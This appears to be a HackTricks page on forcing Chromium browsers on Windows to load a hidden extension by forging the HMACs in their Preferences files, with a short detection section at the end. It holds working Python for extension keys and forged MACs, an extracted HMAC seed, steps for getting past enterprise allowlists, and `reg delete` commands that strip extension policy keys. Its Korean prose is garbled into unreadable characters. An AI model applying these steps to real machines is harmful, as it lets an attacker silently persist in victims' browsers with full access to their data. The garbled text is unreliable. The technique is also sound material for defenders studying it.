Forced Extension Load & Preferences MAC Forgery (Windows)
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
Overview
Windows์์ Chromium ๊ธฐ๋ฐ ๋ธ๋ผ์ฐ์ ์ ์ฌ์ฉ์์ Preferences/Secure Preferences ํ์ผ์ ํธ์งํ๊ณ ์์ ๋ ๋ ธ๋์ ๋ํด ์ ํจํ HMACs๋ฅผ ์์กฐํ์ฌ ์์์ extension์ ๊ฐ์ ๋ก ๋ก๋ํ๋ stealthy post-exploitation technique. Chrome/Chromium, Edge, Brave์์ ๋์ํจ. ๊ฒ์ ์์ ์ Chromium 130๋ถํฐ 139๊น์ง์์ ์ ์ฉ๋๋ ๊ฒ์ผ๋ก ๊ด์ฐฐ๋จ. ํผํด์ ํ๋กํ์ ๋ํ ๋จ์ํ disk write primitive๋ง ์์ผ๋ฉด command-line flags๋ user prompts ์์ด full-privileged extension์ ์๊ตฌํํ ์ ์์.
Key idea: Chromium์ ์ฌ์ฉ์๋ณ extension ์ํ๋ฅผ JSON preferences ํ์ผ์ ์ ์ฅํ๊ณ HMAC-SHA256์ผ๋ก ๋ณดํธํ๋ค. ๋ธ๋ผ์ฐ์ ์ ๋ด์ฅ๋ seed๋ก ์ ํจํ MACs๋ฅผ ๊ณ์ฐํด ์ฃผ์ ํ ๋ ธ๋ ์์ ๊ธฐ๋กํ๋ฉด ๋ธ๋ผ์ฐ์ ๋ ์ด๋ฅผ ์๋ฝํ๊ณ extension ํญ๋ชฉ์ ํ์ฑํํ๋ค.
Where extension state lives (Windows)
- Nonโdomainโjoined Chrome profile:
- %USERPROFILE%/AppData/Local/Google/Chrome/User Data/Default/Secure Preferences (includes a root โsuper_macโ).
- Domainโjoined Chrome profile:
- %USERPROFILE%/AppData/Local/Google/Chrome/User Data/Default/Preferences
- Key nodes used by Chromium:
- extensions.settings.<extension_id> โ extension ํญ๋ชฉ์ embedded manifest/metadata
- protection.macs.extensions.settings.<extension_id> โ ํด๋น JSON blob์ HMAC
- Chromium โฅ134: extensions.ui.developer_mode (boolean) must be present and MACโsigned for unpacked extensions to activate
Simplified schema (illustrative):
{
"extensions": {
"settings": {
"<extension_id>": {
"name": "Extension name",
"manifest_version": 3,
"version": "1.0",
"key": "<BASE64 DER SPKI>",
"path": "<absolute path if unpacked>",
"state": 1,
"from_bookmark": false,
"was_installed_by_default": false
// ...rest of manifest.json + required install metadata
}
},
"ui": { "developer_mode": true }
},
"protection": {
"macs": {
"extensions": {
"settings": { "<extension_id>": "<MAC>" },
"ui": { "developer_mode": "<MAC>" }
}
}
}
}
์ฐธ๊ณ :
- Edge/Brave๋ ์ ์ฌํ ๊ตฌ์กฐ๋ฅผ ์ ์งํฉ๋๋ค. protection seed ๊ฐ์ ๋ฌ๋ผ์ง ์ ์์ต๋๋ค(์ผ๋ถ ๋น๋์์๋ Edge/Brave๊ฐ null/other seed๋ฅผ ์ฌ์ฉํ๋ ๊ฒ์ผ๋ก ๊ด์ฐฐ๋จ).
Extension IDs: path vs key ๋ฐ ๊ฒฐ์ ๋ก ์ ์ผ๋ก ๋ง๋ค๊ธฐ
Chromium์ ํ์ฅ ํ๋ก๊ทธ๋จ ID๋ฅผ ๋ค์๊ณผ ๊ฐ์ด ๋์ถํฉ๋๋ค:
- ํจํค์ง๋/์๋ช ๋ ํ์ฅ: ID = SHAโ256 over DERโencoded SubjectPublicKeyInfo (SPKI) โ take first 32 hex chars โ map 0โf to aโp
- ์์ถ ํด์ ๋(manifest์ key ์์): ID = SHAโ256 over the absolute installation path bytes โ map 0โf to aโp
ํธ์คํธ ๊ฐ์ ์์ ์ ์ธ ID๋ฅผ ์ ์งํ๋ ค๋ฉด, manifest.json์ โkeyโ ์๋์ ๊ณ ์ ๋ base64 DER public key๋ฅผ ์ฝ์ ํ์ธ์. ID๋ ์ค์น ๊ฒฝ๋ก ๋์ ์ด key์์ ํ์๋ฉ๋๋ค.
๊ฒฐ์ ๋ก ์ ID์ ํค ์์ ์์ฑํ๋ ํฌํผ:
import base64
import hashlib
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import rsa
def translate_crx_id(s: str) -> str:
t = {'0':'a','1':'b','2':'c','3':'d','4':'e','5':'f','6':'g','7':'h','8':'i','9':'j','a':'k','b':'l','c':'m','d':'n','e':'o','f':'p'}
return ''.join(t.get(c, c) for c in s)
def generate_extension_keys() -> tuple[str,str,str]:
priv = rsa.generate_private_key(public_exponent=65537, key_size=2048)
pub = priv.public_key()
spki = pub.public_bytes(encoding=serialization.Encoding.DER,
format=serialization.PublicFormat.SubjectPublicKeyInfo)
crx_id = translate_crx_id(hashlib.sha256(spki).digest()[:16].hex())
pub_b64 = base64.b64encode(spki).decode('utf-8')
priv_der = priv.private_bytes(encoding=serialization.Encoding.DER,
format=serialization.PrivateFormat.TraditionalOpenSSL,
encryption_algorithm=serialization.NoEncryption())
priv_b64 = base64.b64encode(priv_der).decode('utf-8')
return crx_id, pub_b64, priv_b64
print(generate_extension_keys())
์์ฑ๋ ๊ณต๊ฐ ํค๋ฅผ manifest.json์ ์ถ๊ฐํ์ฌ ID๋ฅผ ๊ณ ์ ํ์ธ์:
{
"manifest_version": 3,
"name": "Synacktiv extension",
"version": "1.0",
"key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA2lMCg6..."
}
Forging Preferences integrity MACs (core bypass)
Chromium๋ ๊ฐ ๋ ธ๋์ โpathโ + ์ง๋ ฌํ๋ JSON ๊ฐ์ ๋ํด HMACโSHA256์ ์ ์ฉํด preferences๋ฅผ ๋ณดํธํ๋ค. HMAC ์๋๋ ๋ธ๋ผ์ฐ์ ์ resources.pak์ ๋ด์ฅ๋์ด ์์ผ๋ฉฐ Chromium 139๊น์ง ์ ํจํ๋ค.
GRIT pak_util๋ก ์๋๋ฅผ ์ถ์ถํ๊ณ ์๋ ์ปจํ ์ด๋(file id 146 in tested builds)๋ฅผ ์ฐพ์๋ผ:
python3 pak_util.py extract resources.pak -o resources_v139/
python3 pak_util.py extract resources.pak -o resources_v139_dirty/
# compare a clean vs minimally modified resources.pak to spot the seed holder
xxd -p resources_v139/146
# e748f336d85ea5f9dcdf25d8f347a65b4cdf667600f02df6724a2af18a212d26b788a25086910cf3a90313696871f3dc05823730c91df8ba5c4fd9c884b505a8
MACs (๋๋ฌธ์ 16์ง์)๋ฅผ ๋ค์๊ณผ ๊ฐ์ด ๊ณ์ฐ:
ext_mac = HMAC_SHA256(seed,
"extensions.settings.<crx_id>" + json.dumps(<settings_json>))
devmode_mac = HMAC_SHA256(seed,
"extensions.ui.developer_mode" + ("true" or "false"))
๊ฐ๋จํ Python ์์ :
import json, hmac, hashlib
def mac_upper(seed_hex: str, pref_path: str, value) -> str:
seed = bytes.fromhex(seed_hex)
# Compact JSON to match Chromium serialization closely
val = json.dumps(value, separators=(',', ':')) if not isinstance(value, str) else value
msg = (pref_path + val).encode('utf-8')
return hmac.new(seed, msg, hashlib.sha256).hexdigest().upper()
# Example usage
settings_path = f"extensions.settings.{crx_id}"
devmode_path = "extensions.ui.developer_mode"
ext_mac = mac_upper(seed_hex, settings_path, settings_json)
devmode_mac = mac_upper(seed_hex, devmode_path, "true")
Write the values under:
- protection.macs.extensions.settings.<crx_id> = ext_mac
- protection.macs.extensions.ui.developer_mode = devmode_mac (Chromium โฅ134)
Browser differences: on Microsoft Edge and Brave the seed may be null/different. The HMAC structure remains the same; adjust the seed accordingly.
๊ตฌํ ํ
- Chromium์ด MAC์ ๊ณ์ฐํ ๋ ์ฌ์ฉํ๋ JSON ์ง๋ ฌํ๋ฅผ ์ ํํ ์ฌ์ฉํ์ธ์(์ค๋ฌด์์๋ ๊ณต๋ฐฑ ์๋ compact JSON์ด ์์ ํฉ๋๋ค; ํค ์ ๋ ฌ์ ์์ ๋ฌธ์ ํํผ์ ๋์์ด ๋ ์ ์์ต๋๋ค).
- Chromium โฅ134์์๋ extensions.ui.developer_mode๊ฐ ์กด์ฌํ๊ณ ์๋ช ๋์ด ์์ด์ผ ํ๋ฉฐ, ๊ทธ๋ ์ง ์์ผ๋ฉด unpacked ํญ๋ชฉ์ด ํ์ฑํ๋์ง ์์ต๋๋ค.
Endโtoโend silent load flow (Windows)
- ๊ฒฐ์ ๋ก ์ ID๋ฅผ ์์ฑํ๊ณ manifest.json์ โkeyโ๋ฅผ ์ฝ์ ํ์ธ์; ์ํ๋ ๊ถํ(service worker/content scripts)์ ๊ฐ์ง unpacked MV3 ํ์ฅํฉ์ ์ค๋นํฉ๋๋ค.
- manifest์ Chromium์ด ์๊ตฌํ๋ ์ต์ ์ค์น ๋ฉํ๋ฐ์ดํฐ(state, path for unpacked, etc.)๋ฅผ ํฌํจํ์ฌ extensions.settings.
๋ฅผ ์์ฑํฉ๋๋ค. - resources.pak (file 146)์์ HMAC seed๋ฅผ ์ถ์ถํ๊ณ ๋ ๊ฐ์ MAC๋ฅผ ๊ณ์ฐํฉ๋๋ค: ํ๋๋ settings ๋ ธ๋์ฉ, ๋ค๋ฅธ ํ๋๋ extensions.ui.developer_mode์ฉ (Chromium โฅ134).
- ์กฐ์ํ ๋ ธ๋์ MAC๋ค์ ๋์ ํ๋กํ์ Preferences/Secure Preferences์ ๊ธฐ๋กํ์ธ์; ๋ค์ ์คํ ์ ์ ์ธ๋ ๋ชจ๋ ๊ถํ์ผ๋ก ํ์ฅํฉ์ด ์๋ ํ์ฑํ๋ฉ๋๋ค.
Bypassing enterprise controls
- Whitelisted extension hash spoofing (ID spoofing)
- Install an allowed Web Store extension and note its ID
- Obtain its public key (e.g., via chrome.runtime.getManifest().key in the background/service worker or by fetching/parsing its .crx)
- Set that key as manifest.key in your modified extension to reproduce the same ID
- Register the entry in Preferences and sign the MACs โ ExtensionInstallAllowlist checks that match on ID only are bypassed
-
Extension stomping (ID collision precedence)
-
If a local unpacked extension shares an ID with an installed Web Store extension, Chromium prefers the unpacked one. This effectively replaces the legitimate extension in chrome://extensions while preserving the trusted ID. Verified on Chrome and Edge (e.g., Adobe PDF)
-
Neutralizing GPO via HKCU (requires admin)
-
Chrome/Edge policies live under HKCU\Software\Policies*
-
With admin rights, delete/modify policy keys before writing your entries to avoid blocks:
reg delete "HKCU\Software\Policies\Google\Chrome\ExtensionInstallAllowlist" /f
reg delete "HKCU\Software\Policies\Google\Chrome\ExtensionInstallBlocklist" /f
๋ ธ์ด์ฆ๊ฐ ๋ง์ ๋์ฒด ๋ฐฉ๋ฒ: ๋ช ๋ น์ค ๋ก๋ฉ
Chromium โฅ137๋ถํฐ, โload-extension์ ๋ค์๋ ํจ๊ป ์ ๋ฌํด์ผ ํฉ๋๋ค:
--disable-features=DisableLoadExtensionCommandLineSwitch
์ด ์ ๊ทผ๋ฒ์ ๋๋ฆฌ ์๋ ค์ ธ ์์ผ๋ฉฐ ๋ชจ๋ํฐ๋ง๋ฉ๋๋ค(์: EDR/DFIR; Chromeloader ๊ฐ์ commodity malware์์ ์ฌ์ฉ๋จ). Preference MAC forging์ ๋ ์๋ฐํฉ๋๋ค.
Related flags and more crossโplatform tricks are discussed here:
์ด์ ์ํฅ
์ผ๋จ ์๋ฝ๋๋ฉด, ํ์ฅ ํ๋ก๊ทธ๋จ์ ์ ์ธ๋ ๊ถํ์ผ๋ก ์คํ๋์ด DOM ์ ๊ทผ, ์์ฒญ ๊ฐ๋ก์ฑ๊ธฐ/๋ฆฌ๋๋ ์ , ์ฟ ํค/์คํ ๋ฆฌ์ง ์ ๊ทผ ๋ฐ ์คํฌ๋ฆฐ์ท ์บก์ฒ๋ฅผ ๊ฐ๋ฅํ๊ฒ ํฉ๋๋ค โ ์ฌ์ค์ ๋ธ๋ผ์ฐ์ ๋ด ์ฝ๋ ์คํ๊ณผ ์๊ตฌ์ ์ธ ์ฌ์ฉ์ ํ๋กํ ์ ์ง๊ฐ ์ด๋ฃจ์ด์ง๋๋ค. Preferences๋ฅผ ํตํ ํ์ฑํ๊ฐ ๋ฐ์ดํฐ ๊ธฐ๋ฐ์ผ๋ก ์ด๋ฃจ์ด์ง๊ธฐ ๋๋ฌธ์ SMB ๋๋ ๊ธฐํ ์ฑ๋์ ํตํ ์๊ฒฉ ๋ฐฐํฌ๋ ๊ฐ๋จํฉ๋๋ค.
ํ์ง ๋ฐ ๊ฐํ
- Preferences/Secure Preferences์ ์ฐ๊ธฐ ์์ ์ ์ํํ๋ nonโChromium ํ๋ก์ธ์ค๋ฅผ ๋ชจ๋ํฐ๋งํ์ธ์, ํนํ protection.macs ์ํธ๋ฆฌ์ ์ง์ ์ด๋ฃจ๋ extensions.settings ์๋์ ์๋ก์ด ๋ ธ๋๋ค
- extensions.ui.developer_mode์ ์๊ธฐ์น ์์ ํ ๊ธ๊ณผ HMAC ์ ํจํ์ง๋ง ์น์ธ๋์ง ์์ ํ์ฅ ํญ๋ชฉ์ ๋ํด ๊ฒฝ๋ณด๋ฅผ ์์ฑํ์ธ์
- ๋ณ์กฐ ์ฌ๋ถ๋ฅผ ํ์ธํ๊ธฐ ์ํด HKCU/HKLM Software\Policies๋ฅผ ๊ฐ์ฌํ์ธ์; ์ฅ์น ๊ด๋ฆฌ/Chrome Browser Cloud Management๋ฅผ ํตํด ์ ์ฑ ์ ๊ฐ์ ํ์ธ์
- ํ์ฅ ID๋ง์ผ๋ก ์ผ์น์ํค๋ allowlists๋ณด๋ค ๊ฒ์ฆ๋ ํผ๋ธ๋ฆฌ์ ์ ์คํ ์ด์์์ forcedโinstall์ ์ ํธํ์ธ์
์ฐธ๊ณ ์๋ฃ
- The Phantom Extension: Backdooring chrome through uncharted pathways
- pak_util.py (GRIT)
- SecurePreferencesFile (prior research on HMAC seed)
- CursedChrome
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


